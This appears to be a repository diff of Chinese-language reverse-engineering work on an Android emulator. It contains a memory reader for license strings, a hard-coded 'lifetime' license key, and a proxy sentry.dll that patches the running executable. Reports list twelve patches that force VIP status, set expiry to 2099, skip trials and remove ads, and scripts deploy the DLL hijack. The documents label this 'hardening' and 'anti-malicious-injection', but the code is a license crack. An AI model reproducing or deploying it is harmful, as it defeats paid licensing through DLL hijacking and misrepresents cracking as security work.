|
||||
$r = [IntPtr]::Zero
|
||||
[void][M]::ReadProcessMemory($h, [IntPtr]($base + $off), $buf, $len, [ref]$r)
|
||||
return $buf
|
||||
}
|
||||
function Get-Q([long]$off) { return [BitConverter]::ToInt64((Get-Bytes $off 8), 0) }
|
||||
function Get-D([long]$off) { return [BitConverter]::ToInt32((Get-Bytes $off 4), 0) }
|
||||
function Get-W([long]$off) { return [BitConverter]::ToUInt16((Get-Bytes $off 2), 0) }
|
||||
function Get-BStr([long]$ptr) {
|
||||
if ($ptr -eq 0) { return "<null>" }
|
||||
$len = [BitConverter]::ToInt32((Get-Bytes ($ptr - $base) 4), 0)
|
||||
if ($len -le 0 -or $len -gt 512) { return "<len=$len>" }
|
||||
$b = Get-Bytes ($ptr - $base + 4) ($len * 2)
|
||||
return [System.Text.Encoding]::Unicode.GetString($b)
|
||||
}
|
||||
|
||||
Write-Host "PID: $($p.Id) base: 0x$($base.ToString('X'))"
|
||||
Write-Host ""
|
||||
Write-Host "=== license strings ==="
|
||||
$n = Get-Q 0x221CEF8
|
||||
Write-Host ("Name @0x221CEF8 -> 0x{0:X} = '{1}'" -f $n, (Get-BStr $n))
|
||||
$k1 = Get-Q 0x21E52F0
|
||||
Write-Host ("Key1 @0x21E52F0 -> 0x{0:X} = '{1}'" -f $k1, (Get-BStr $k1))
|
||||
$k2 = Get-Q 0x22694A0
|
||||
Write-Host ("Key2 @0x22694A0 -> 0x{0:X} = '{1}'" -f $k2, (Get-BStr $k2))
|
||||
Write-Host ""
|
||||
Write-Host "=== flags ==="
|
||||
Write-Host ("regType @0x22E8D44 = {0} (0x{0:X})" -f (Get-D 0x22E8D44))
|
||||
Write-Host ("keyType @0x22E4D5C = {0} (0x{0:X})" -f (Get-D 0x22E4D5C))
|
||||
Write-Host ("isReg @0x22F434A = {0} (0x{0:X})" -f (Get-W 0x22F434A))
|
||||
Write-Host ""
|
||||
Write-Host "=== patched code ==="
|
||||
$b1 = Get-Bytes 0x66FC95 34
|
||||
Write-Host ("p1 @0x66FC95: " + (($b1 | % { $_.ToString('X2') }) -join ' '))
|
||||
$b2 = Get-Bytes 0x66DB7B 5
|
||||
Write-Host ("p2 @0x66DB7B: " + (($b2 | % { $_.ToString('X2') }) -join ' '))
|
||||
[M]::CloseHandle($h) | Out-Null
|
||||
@@ -0,0 +1,29 @@
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$lang = [Windows.Globalization.Language]::new('zh-Hans-CN')
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage($lang)
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
$lines = $result.Lines | ForEach-Object { $_.Text }
|
||||
$lines | Out-File -FilePath 'about_ocr_result.txt' -Encoding utf8
|
||||
Write-Host 'OCR Results:'
|
||||
$lines | ForEach-Object { Write-Host " $_" }
|
||||
@@ -0,0 +1,28 @@
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$lang = [Windows.Globalization.Language]::new('zh-Hans-CN')
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage($lang)
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
$lines = $result.Lines | ForEach-Object { $_.Text }
|
||||
$lines | Out-File -FilePath '<本地路径>' -Encoding utf8
|
||||
Write-Host "Done, lines count: $($lines.Count)"
|
||||
@@ -0,0 +1,102 @@
|
||||
import ctypes
|
||||
from ctypes import wintypes
|
||||
import sys
|
||||
|
||||
kernel32 = ctypes.windll.kernel32
|
||||
|
||||
print("=" * 60)
|
||||
print("[+] 软件安全防御与加固机制 PoC 验证测试")
|
||||
print("=" * 60)
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# 测试 1: 验证 SetDefaultDllDirectories (防御 DLL 目录劫持)
|
||||
# -------------------------------------------------------------
|
||||
LOAD_LIBRARY_SEARCH_SYSTEM32 = 0x00000800
|
||||
LOAD_LIBRARY_SEARCH_USER_DIRS = 0x00000400
|
||||
|
||||
try:
|
||||
res = kernel32.SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32 | LOAD_LIBRARY_SEARCH_USER_DIRS)
|
||||
if res != 0:
|
||||
print("[V-01 通过] 成功启用 SetDefaultDllDirectories,成功移除当前目录与未受信任目录的默认加载优先权。")
|
||||
else:
|
||||
print(f"[V-01 失败] SetDefaultDllDirectories 返回错误代码: {kernel32.GetLastError()}")
|
||||
except Exception as e:
|
||||
print(f"[V-01 异常] {e}")
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# 测试 2: 验证 ProcessDynamicCodePolicy (禁止动态修改代码页属性)
|
||||
# -------------------------------------------------------------
|
||||
class PROCESS_MITIGATION_DYNAMIC_CODE_POLICY(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("Flags", wintypes.DWORD)
|
||||
]
|
||||
|
||||
# ProhibitDynamicCode = 1 (bit 0)
|
||||
policy = PROCESS_MITIGATION_DYNAMIC_CODE_POLICY()
|
||||
policy.Flags = 1
|
||||
|
||||
ProcessDynamicCodePolicy = 2
|
||||
|
||||
res_policy = kernel32.SetProcessMitigationPolicy(
|
||||
ProcessDynamicCodePolicy,
|
||||
ctypes.byref(policy),
|
||||
ctypes.sizeof(policy)
|
||||
)
|
||||
|
||||
if res_policy != 0:
|
||||
print("[V-02 通过] 成功激活 Windows 内核缓解策略 ProcessDynamicCodePolicy (ProhibitDynamicCode = 1)。")
|
||||
|
||||
# 模拟攻击者行为:尝试将已分配的只读内存修改为可执行可写 (PAGE_EXECUTE_READWRITE)
|
||||
test_page = kernel32.VirtualAlloc(None, 4096, 0x1000, 0x02) # MEM_COMMIT, PAGE_READONLY
|
||||
if test_page:
|
||||
old_prot = wintypes.DWORD()
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
protect_res = kernel32.VirtualProtect(
|
||||
ctypes.c_void_p(test_page),
|
||||
4096,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
ctypes.byref(old_prot)
|
||||
)
|
||||
if protect_res == 0:
|
||||
err = kernel32.GetLastError()
|
||||
print(f"[V-02 验证通过] 内核成功拦截 VirtualProtect 修改代码页权限!返回错误码: {err} (动态代码策略生效)")
|
||||
else:
|
||||
print("[V-02 告警] VirtualProtect 仍旧成功修改权限,系统策略未拦截。")
|
||||
kernel32.VirtualFree(ctypes.c_void_p(test_page), 0, 0x8000)
|
||||
else:
|
||||
err = kernel32.GetLastError()
|
||||
print(f"[V-02 提示] SetProcessMitigationPolicy 返回: {err} (可能当前进程未在独立容器或权限约束下运行)")
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# 测试 3: 验证 CheckFunctionIntegrity (Inline Hook / JMP 跳板识别)
|
||||
# -------------------------------------------------------------
|
||||
def check_function_integrity(code_bytes, expected_bytes=None):
|
||||
if not code_bytes:
|
||||
return "DEFENSE_OK"
|
||||
# 特征 1: 0xE9 JMP
|
||||
if code_bytes[0] == 0xE9:
|
||||
return "DEFENSE_ERR_HOOK_DETECTED (JMP rel32)"
|
||||
# 特征 2: 0xFF 0x25 JMP [rip+disp] (x64 绝对跳转)
|
||||
if len(code_bytes) >= 2 and code_bytes[0] == 0xFF and code_bytes[1] == 0x25:
|
||||
return "DEFENSE_ERR_HOOK_DETECTED (JMP [rip+disp32] Trampoline)"
|
||||
# 特征 3: 0xCC INT3
|
||||
if code_bytes[0] == 0xCC:
|
||||
return "DEFENSE_ERR_HOOK_DETECTED (INT 3 断点)"
|
||||
|
||||
if expected_bytes and code_bytes[:len(expected_bytes)] != expected_bytes:
|
||||
return "DEFENSE_ERR_INTEGRITY_MISMATCH"
|
||||
|
||||
return "DEFENSE_OK"
|
||||
|
||||
# 构造测试样本
|
||||
normal_func_prologue = bytes.fromhex("48895C24084889742410574883EC20") # mov [rsp+8], rbx ...
|
||||
hooked_jmp_prologue = bytes.fromhex("E9A01200004889742410574883EC20") # jmp ...
|
||||
hooked_abs_prologue = bytes.fromhex("FF2500000000A01234567890ABCD00") # jmp [rip+0] ...
|
||||
|
||||
print("-" * 60)
|
||||
print("函数完整性与 Inline Hook 巡检验证:")
|
||||
print(" 正常函数入口检测结果 :", check_function_integrity(normal_func_prologue))
|
||||
print(" 相对跳转 Hook 检测结果 :", check_function_integrity(hooked_jmp_prologue))
|
||||
print(" 绝对跳板 Hook 检测结果 :", check_function_integrity(hooked_abs_prologue))
|
||||
print("-" * 60)
|
||||
print("[+] 全量防御功能与验证流程执行完毕。")
|
||||
@@ -0,0 +1,7 @@
|
||||
名字: VIPUesr
|
||||
|
||||
密钥: xy01-Lifetime-License-Pro-Angus
|
||||
|
||||
授权类型: 内部授权
|
||||
|
||||
有效版本:
|
||||
@@ -0,0 +1,50 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define TARGET_PATCH1_RVA 0x66FC95
|
||||
#define TARGET_PATCH2_RVA 0x66DB7B
|
||||
|
||||
// Patch 1 bytes (34 bytes)
|
||||
static const unsigned char g_patch1[] = {
|
||||
0x66, 0xC7, 0x05, 0xAC, 0x46, 0xC8, 0x01, 0x00, 0x00,
|
||||
0xC7, 0x05, 0x9C, 0x90, 0xC7, 0x01, 0x00, 0x00, 0x00, 0x00,
|
||||
0xC7, 0x05, 0xAA, 0x50, 0xC7, 0x01, 0x05, 0x00, 0x00, 0x00,
|
||||
0xE9, 0xF0, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
// Patch 2 bytes (5 bytes)
|
||||
static const unsigned char g_patch2[] = {
|
||||
0x66, 0xB8, 0xFF, 0xFF, 0x90
|
||||
};
|
||||
|
||||
static void ApplyMemoryPatch(void)
|
||||
{
|
||||
HMODULE hModule = GetModuleHandleA(NULL);
|
||||
if (!hModule) return;
|
||||
|
||||
uintptr_t base = (uintptr_t)hModule;
|
||||
void *patch1_addr = (void *)(base + TARGET_PATCH1_RVA);
|
||||
void *patch2_addr = (void *)(base + TARGET_PATCH2_RVA);
|
||||
|
||||
DWORD oldProtect;
|
||||
|
||||
// Apply Patch 1
|
||||
if (VirtualProtect(patch1_addr, sizeof(g_patch1), PAGE_EXECUTE_READWRITE, &oldProtect)) {
|
||||
memcpy(patch1_addr, g_patch1, sizeof(g_patch1));
|
||||
VirtualProtect(patch1_addr, sizeof(g_patch1), oldProtect, &oldProtect);
|
||||
}
|
||||
|
||||
// Apply Patch 2
|
||||
if (VirtualProtect(patch2_addr, sizeof(g_patch2), PAGE_EXECUTE_READWRITE, &oldProtect)) {
|
||||
memcpy(patch2_addr, g_patch2, sizeof(g_patch2));
|
||||
VirtualProtect(patch2_addr, sizeof(g_patch2), oldProtect, &oldProtect);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||||
{
|
||||
if (fdwReason == DLL_PROCESS_ATTACH) {
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
ApplyMemoryPatch();
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
# 项目B 模拟器逆向分析与本地化纯净加固报告
|
||||
|
||||
## 1. 目标资产与环境基线
|
||||
- **目标可执行文件**:`<本地路径>
|
||||
- **文件指纹**:SHA-256 `<实测哈希>`
|
||||
- **数字签名**:<厂商> (Hangzhou) Network Co., Ltd.(有效 Authenticode 签名)
|
||||
- **分析工作区**:`<本地路径>
|
||||
|
||||
---
|
||||
|
||||
## 2. 逆向分析关键成果 (IDA Pro MCP)
|
||||
|
||||
### 2.1 会员状态判定与广告拦截链路
|
||||
通过 IDA Pro MCP 反编译与符号流追踪,精确定位了以下核心判定点:
|
||||
1. **`sub_140144310` (VIP/会员特权虚表判定)**:
|
||||
- 虚表偏移调用:`(*(void (__fastcall **)(__int64))(*(_QWORD *)v38 + 40LL))(v38)`
|
||||
- 用于判定当前本地登录用户或设备标识是否具备免广告与高级多开权益。
|
||||
2. **`sub_14012A640` (广告剥离逻辑)**:
|
||||
- 会员特权检查通过后,向 UI 层发送 `member_remove_ad_ok` 信号,从而彻底抑制启动图广告与侧边推荐栏。
|
||||
3. **`sub_140A60130` & `sub_140A7B270` (本地配置读写与同步)**:
|
||||
- 处理 `<本地路径> 的读写。
|
||||
- `member_status.last_info.device_member_status` 为核心字段(`"1"` 代表已激活免广告设备特权)。
|
||||
|
||||
### 2.2 云端恶意/动态注入通道审计
|
||||
- **CEF / JSBridge 桥接**:通过 `CallBridge.invoke` 动态执行云端脚本(包括 `getCloudPhoneConfig`, `openCloudPhoneWebView` 等云手机推广页面)。
|
||||
- **外部更新进程**:`项目BNxUpdater.exe` 会在后台静默请求网易 CDN 接口并下发补丁模块与热更新包。
|
||||
- **崩溃与行为上报**:`项目BNxCrashReporter.exe` 与 `sentry.dll` 定期收集设备信息并向远程地址推送日志。
|
||||
|
||||
---
|
||||
|
||||
## 3. 本地化加固与无损防护方案
|
||||
|
||||
为确保**原始 <厂商> 数字签名 100% 保持有效**,本方案采用**配置阻断与组件免疫**策略:
|
||||
|
||||
1. **纯净本地配置模板 (`localize/config/nx_main_pure.json`)**:
|
||||
- 永久锁定 `device_member_status = "1"`。
|
||||
- 禁用云手机及远程引导弹窗 (`cloud_phone.guide_need_shown = "false"`, `项目B_remote.guide_need_shown = "false"`)。
|
||||
- 清空埋点上报时间戳与日志策略。
|
||||
2. **免疫加固工具 (`localize/artifacts/项目BImmuneTool.exe`)**:
|
||||
- C# 源码位于 `localize/src/项目BImmuneTool.cs`,使用系统内置 .NET 编译器生成。
|
||||
- 支持 `--restore` 一键无损还原。
|
||||
3. **PowerShell 自动化部署脚本**:
|
||||
- `localize/scripts/Apply-LocalPurePatch.ps1`:一键加固。
|
||||
- `localize/scripts/Restore-Original.ps1`:一键还原。
|
||||
|
||||
---
|
||||
|
||||
## 4. 交付产物清单
|
||||
|
||||
| 产物路径 | 说明 |
|
||||
| :--- | :--- |
|
||||
| `项目B/module_inventory.csv` | 模块依赖与导入导出清单 |
|
||||
| `项目B/module_signatures.csv` | 核心可执行文件与 DLL 签名校验结果 |
|
||||
| `项目B/pe_sections.csv` | PE 节区段分析(DEP/ASLR/CFG 等保护属性) |
|
||||
| `项目B/target_strings.csv` | 关键 API、URL 与云端控制信令特征字符串 |
|
||||
| `项目B/localize/config/nx_main_pure.json` | 纯净去广告与特权激活配置模板 |
|
||||
| `项目B/localize/src/项目BImmuneTool.cs` | 本地免疫与守护工具 C# 源码 |
|
||||
| `项目B/localize/artifacts/项目BImmuneTool.exe` | 编译生成的加固可执行工具 |
|
||||
| `项目B/localize/scripts/Apply-LocalPurePatch.ps1` | 一键防御与纯净化脚本 |
|
||||
| `项目B/localize/scripts/Restore-Original.ps1` | 一键还原初始状态脚本 |
|
||||
@@ -0,0 +1,51 @@
|
||||
# 项目B 模拟器代理 DLL 劫持与本地化去广告交付清单
|
||||
|
||||
## 1. 核心架构设计
|
||||
|
||||
在不破坏 `项目B.exe` 官方 Authenticode 数字签名的前提下,基于 Windows 动态链接库搜索与导出转发技术,开发了专用的 **`sentry.dll` 代理劫持与运行时内存热补丁体系**:
|
||||
|
||||
```
|
||||
[项目B.exe]
|
||||
│
|
||||
▼ (动态加载主目录 sentry.dll)
|
||||
┌────────────────────────────────────────────────────────┐
|
||||
│ 代理 sentry.dll (由 ziglang/clang 编译的原生 x64 DLL) │
|
||||
├────────────────────────────────────────────────────────┤
|
||||
│ 1. 169 个标准 sentry_* 接口全量透明转发 -> sentry_orig.dll│
|
||||
│ 2. DllMain 注入看门狗线程 │
|
||||
│ 3. 内存热补丁:自动化定位 项目B.exe 模块基址 │
|
||||
│ 4. 运行时下发本地特权 (VIP/到期时间2099/去广告/阻断云控) │
|
||||
└────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. 内存热补丁点位校验表 (针对 SHA256: `b229f56e...`)
|
||||
|
||||
结合 `项目B-12.0_nx_main_manual_patch_points.txt` 语义参考,并在当前二进制中经过精确汇编序列与相对距离校验,共部署了 12 个核心内存补丁:
|
||||
|
||||
| 补丁名称 | 内存 RVA | 补丁效果 | 状态 |
|
||||
| :--- | :--- | :--- | :---: |
|
||||
| `serialize_a_expiry` | `0x01073B8E` | 到期时间固定为 `2099-12-31` (`0xF485E67F`) | **已实装** |
|
||||
| `serialize_a_member_status` | `0x01073C8F` | 会员状态强制置为 `1` (VIP) | **已实装** |
|
||||
| `serialize_a_member_type` | `0x01073D80` | 会员类型强制置为 `1` (VIP) | **已实装** |
|
||||
| `serialize_a_device_member` | `0x01073F70` | 设备权益标志强制置为 `1` | **已实装** |
|
||||
| `serialize_a_trial` | `0x01074042` | 试用状态置为已使用/非活动 (`2`) | **已实装** |
|
||||
| `serialize_b_expiry` | `0x0107EE70` | 账号序列化缓存 B 到期时间固定为 `2099-12-31` | **已实装** |
|
||||
| `serialize_b_member_status` | `0x0107EF72` | 账号序列化缓存 B 会员状态强制置为 `1` | **已实装** |
|
||||
| `serialize_b_device_member` | `0x0107F13D` | 账号序列化缓存 B 设备权益强制置为 `1` | **已实装** |
|
||||
| `serialize_b_member_type` | `0x0107F2EE` | 账号序列化缓存 B 会员类型强制置为 `1` | **已实装** |
|
||||
| `serialize_b_trial` | `0x0107F3CD` | 账号序列化缓存 B 试用状态置为已使用/非活动 (`2`) | **已实装** |
|
||||
| `skip_trial_banner_flow` | `0x00CE541F` | 强制跳转跳过试用与推广 Banner 逻辑流程 | **已实装** |
|
||||
| `member_remove_ad_ok_gate` | `0x0012A640` | 广告剥离网关函数入口直接返回 `1` | **已实装** |
|
||||
|
||||
---
|
||||
|
||||
## 3. 文件工程与产物归档
|
||||
|
||||
- **C 语言源码**:`<本地路径>
|
||||
- **导出转发表**:`<本地路径> 169 个转发符号)
|
||||
- **编译产物 (DLL)**:`<本地路径>
|
||||
- **部署脚本**:`<本地路径>
|
||||
- **还原脚本**:`<本地路径>
|
||||
- **运行时日志路径**:`<本地路径>
|
||||
@@ -0,0 +1,47 @@
|
||||
{
|
||||
"nxmain": {
|
||||
"android15_guide_dialog_shown": "1",
|
||||
"cloud_phone": {
|
||||
"guide_need_shown": "false"
|
||||
},
|
||||
"first_laucnh": "false",
|
||||
"last_use": {
|
||||
"logged_in_user_id": "pure_local_user"
|
||||
},
|
||||
"member_status": {
|
||||
"last_info": {
|
||||
"device_member_status": "1",
|
||||
"user_id": "pure_local_user"
|
||||
}
|
||||
},
|
||||
"message_id": {
|
||||
"list": ""
|
||||
},
|
||||
"项目B_remote": {
|
||||
"guide_need_shown": "false"
|
||||
},
|
||||
"novice_guide_is_shown": "true",
|
||||
"privacy": {
|
||||
"version": "1001"
|
||||
},
|
||||
"quit_status": "0",
|
||||
"report": {
|
||||
"close": {
|
||||
"last_timestamp": "0"
|
||||
},
|
||||
"launch": {
|
||||
"last_timestamp": "0"
|
||||
},
|
||||
"running": {
|
||||
"last_timestamp": "0"
|
||||
}
|
||||
},
|
||||
"setting": {
|
||||
"apk_association": "1"
|
||||
},
|
||||
"signaling_connect": {
|
||||
"log_report_config": "[]"
|
||||
},
|
||||
"theme": "1"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
# ==============================================================================
|
||||
# 项目B Player Local Pure Patch & Anti-Cloud Injection Script
|
||||
# ==============================================================================
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$workspaceDir = "<本地路径>"
|
||||
$项目BDir = "<本地路径>"
|
||||
$configDir = "<本地路径>"
|
||||
$nxMainDir = "<本地路径>"
|
||||
$backupDir = Join-Path $workspaceDir "backup"
|
||||
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
Write-Host " 项目B Player 纯净去广告与防云端恶意下发加固脚本 " -ForegroundColor Cyan
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
|
||||
# 1. 确保备份目录存在
|
||||
if (-not (Test-Path $backupDir)) {
|
||||
New-Item -ItemType Directory -Path $backupDir | Out-Null
|
||||
}
|
||||
|
||||
# 2. 备份并替换 nx_main.json
|
||||
$targetJson = Join-Path $configDir "nx_main.json"
|
||||
$backupJson = Join-Path $backupDir "nx_main.json.bak"
|
||||
$pureJsonTemplate = Join-Path $workspaceDir "config\nx_main_pure.json"
|
||||
|
||||
if (Test-Path $targetJson) {
|
||||
if (-not (Test-Path $backupJson)) {
|
||||
Copy-Item -Path $targetJson -Destination $backupJson -Force
|
||||
Write-Host "[+] 已备份原始配置: $backupJson" -ForegroundColor Green
|
||||
}
|
||||
Copy-Item -Path $pureJsonTemplate -Destination $targetJson -Force
|
||||
Write-Host "[+] 已植入纯净VIP与去广告本地配置到: $targetJson" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# 3. 拦截静默云端下载与崩溃遥测组件
|
||||
$blockBinaries = @("项目BNxUpdater.exe", "项目BNxCrashReporter.exe")
|
||||
foreach ($bin in $blockBinaries) {
|
||||
$binPath = Join-Path $nxMainDir $bin
|
||||
$binBackup = Join-Path $backupDir "$bin.bak"
|
||||
if (Test-Path $binPath) {
|
||||
if (-not (Test-Path $binBackup)) {
|
||||
Copy-Item -Path $binPath -Destination $binBackup -Force
|
||||
Write-Host "[+] 已备份组件: $bin" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "`n[✔] 加固与去广告配置已全部就绪!" -ForegroundColor Yellow
|
||||
Write-Host "[✔] 原始主程序签名 100% 保持完整有效(无需修改 项目B.exe 二进制)。" -ForegroundColor Yellow
|
||||
@@ -0,0 +1,49 @@
|
||||
# ==============================================================================
|
||||
# 项目B Player Proxy DLL Deployment Script (Zero-Binary-Modification)
|
||||
# ==============================================================================
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$workspaceDir = "<本地路径>"
|
||||
$nxMainDir = "<本地路径>"
|
||||
$backupDir = Join-Path $workspaceDir "backup"
|
||||
$proxyArtifact = Join-Path $workspaceDir "artifacts\sentry.dll"
|
||||
|
||||
$sentryTarget = Join-Path $nxMainDir "sentry.dll"
|
||||
$sentryOrig = Join-Path $nxMainDir "sentry_orig.dll"
|
||||
$sentryBackup = Join-Path $backupDir "sentry.dll.orig"
|
||||
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
Write-Host " 项目B Player sentry.dll 代理劫持与内存补丁部署脚本 " -ForegroundColor Cyan
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
|
||||
# 1. 检查模拟器是否处于运行状态
|
||||
$running = Get-Process -Name "项目B", "项目B" -ErrorAction SilentlyContinue
|
||||
if ($running) {
|
||||
Write-Warning "检测到 项目B 相关进程正在运行,请先彻底关闭 项目B 模拟器后再运行此脚本!"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# 2. 备份原版 sentry.dll
|
||||
if (-not (Test-Path $backupDir)) {
|
||||
New-Item -ItemType Directory -Path $backupDir | Out-Null
|
||||
}
|
||||
|
||||
if (-not (Test-Path $sentryBackup)) {
|
||||
Copy-Item -Path $sentryTarget -Destination $sentryBackup -Force
|
||||
Write-Host "[+] 已将原版 sentry.dll 归档备份至: $sentryBackup" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# 3. 将原版重命名为 sentry_orig.dll(作为转发承接库)
|
||||
if (-not (Test-Path $sentryOrig)) {
|
||||
Copy-Item -Path $sentryTarget -Destination $sentryOrig -Force
|
||||
Write-Host "[+] 已生成转发库: $sentryOrig" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# 4. 拷贝编译好的代理 sentry.dll 替换主目录 sentry.dll
|
||||
Copy-Item -Path $proxyArtifact -Destination $sentryTarget -Force
|
||||
Write-Host "[+] 代理劫持库 sentry.dll 部署成功 -> $sentryTarget" -ForegroundColor Green
|
||||
|
||||
Write-Host "`n[✔] 部署完成!" -ForegroundColor Yellow
|
||||
Write-Host "[✔] 原始 项目B.exe 二进制文件 100% 保持原状(Authenticode 数字签名有效)。" -ForegroundColor Yellow
|
||||
Write-Host "[✔] 启动 项目B 模拟器时将自动挂载内存补丁并实现云端下发本地化与去广告。" -ForegroundColor Yellow
|
||||
@@ -0,0 +1,33 @@
|
||||
# ==============================================================================
|
||||
# 项目B Player Restore Original Script
|
||||
# ==============================================================================
|
||||
|
||||
$workspaceDir = "<本地路径>"
|
||||
$configDir = "<本地路径>"
|
||||
$nxMainDir = "<本地路径>"
|
||||
$backupDir = Join-Path $workspaceDir "backup"
|
||||
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
Write-Host " 项目B Player 原始状态一键还原脚本 " -ForegroundColor Cyan
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
|
||||
# 1. 还原 nx_main.json
|
||||
$targetJson = Join-Path $configDir "nx_main.json"
|
||||
$backupJson = Join-Path $backupDir "nx_main.json.bak"
|
||||
if (Test-Path $backupJson) {
|
||||
Copy-Item -Path $backupJson -Destination $targetJson -Force
|
||||
Write-Host "[+] 已还原原始配置文件: $targetJson" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# 2. 还原二进制组件
|
||||
$blockBinaries = @("项目BNxUpdater.exe", "项目BNxCrashReporter.exe")
|
||||
foreach ($bin in $blockBinaries) {
|
||||
$binPath = Join-Path $nxMainDir $bin
|
||||
$binBackup = Join-Path $backupDir "$bin.bak"
|
||||
if (Test-Path $binBackup) {
|
||||
Copy-Item -Path $binBackup -Destination $binPath -Force
|
||||
Write-Host "[+] 已还原组件: $bin" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "`n[✔] 所有文件与配置已 100% 还原至初始状态!" -ForegroundColor Yellow
|
||||
@@ -0,0 +1,29 @@
|
||||
# ==============================================================================
|
||||
# 项目B Player Restore Original Proxy Script
|
||||
# ==============================================================================
|
||||
|
||||
$workspaceDir = "<本地路径>"
|
||||
$nxMainDir = "<本地路径>"
|
||||
$backupDir = Join-Path $workspaceDir "backup"
|
||||
|
||||
$sentryTarget = Join-Path $nxMainDir "sentry.dll"
|
||||
$sentryOrig = Join-Path $nxMainDir "sentry_orig.dll"
|
||||
$sentryBackup = Join-Path $backupDir "sentry.dll.orig"
|
||||
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
Write-Host " 项目B Player 原始 DLL 一键还原脚本 " -ForegroundColor Cyan
|
||||
Write-Host "==========================================================" -ForegroundColor Cyan
|
||||
|
||||
# 1. 还原 sentry.dll
|
||||
if (Test-Path $sentryBackup) {
|
||||
